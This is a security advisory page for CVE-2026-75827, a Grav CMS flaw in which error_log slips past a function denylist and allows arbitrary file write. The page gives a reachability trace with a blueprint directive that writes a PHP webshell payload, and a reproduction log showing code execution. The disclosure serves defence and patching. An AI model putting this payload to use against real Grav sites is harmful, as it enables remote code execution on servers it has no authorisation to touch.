Advisory Database
  • Advisories
  • Dependency Scanning
  1. composer
  2. ›
  3. getgrav/grav
  4. ›
  5. CVE-2026-75827

CVE-2026-75827: Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

September 17, 2026

Affected versions and vulnerable location

  • Confirmed on grav core at 78ebfc1 (tag 2.0.13).
  • Sinks:
    • system/src/Grav/Common/Data/Blueprint.php:455-458 call_user_func_array($o, $params) (bare-function dynamic-data provider).
    • Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 call_user_func_array($function, $params).
  • Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536.
    • Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables.
    • Bare-function branch (:530-534) uses only a denylist: if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);.
  • Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).

Root cause

GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.

error_log is not on the denylist (verified: no occurrence in Utils.php). error_log($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client, dl, and mb_send_mail are likewise absent, giving SSRF/other primitives.)

Attacker model

The same surface the published dynamic-data advisories accept as reachable: a data-*@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.

Reachability trace

  1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php'].
  2. Blueprint::init() resolves the directive; isSafeDynamicCall('error_log', $params) reaches the bare-function branch (:530), isDangerousFunction('error_log') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true.
  3. call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php.
  4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct error_log write, not an upload.

Reproduction

Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:

[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true      # guard ACCEPTS error_log (bug)
[2] isSafeDynamicCall('system', ['id']) => false                  # control
    isSafeDynamicCall('exec',   ['id']) => false                  # control
[3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])
    file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?>
[4] php /tmp/grav_rce_proof.php  =>  PWNED                        # arbitrary PHP executed (RCE)

The guard returns true for error_log (and false for the denylisted system/exec controls), the error_log sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:

rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php   # no hits
rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php

error_log absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.

Suggested fix

Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: error_log (arbitrary append), stream_socket_client (SSRF), and others must otherwise each be enumerated.

Severity and CVSS reasoning

Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).

Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.

  • PR:L: a blueprint/page-edit account, not super.
  • C:H/I:H/A:H: arbitrary file write leading to code execution.

How I found it and a note on tooling

I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found error_log missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts error_log and rejects system/exec, and drove the error_log sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.

References

  • github.com/advisories/GHSA-f8wv-xp27-6gq7
  • github.com/getgrav/grav/security/advisories/GHSA-f8wv-xp27-6gq7
  • nvd.nist.gov/vuln/detail/CVE-2026-75827
  • www.vulncheck.com/advisories/grav-before-arbitrary-file-write-via-error-log

Code Behaviors & Features

Detect and mitigate CVE-2026-75827 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 2.0.15

Fixed versions

  • 2.0.15

Solution

Upgrade to version 2.0.15 or above.

Impact 8.8 HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-94: Improper Control of Generation of Code ('Code Injection')

Source file

packagist/getgrav/grav/CVE-2026-75827.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 22 Sep 2026 12:20:06 +0000.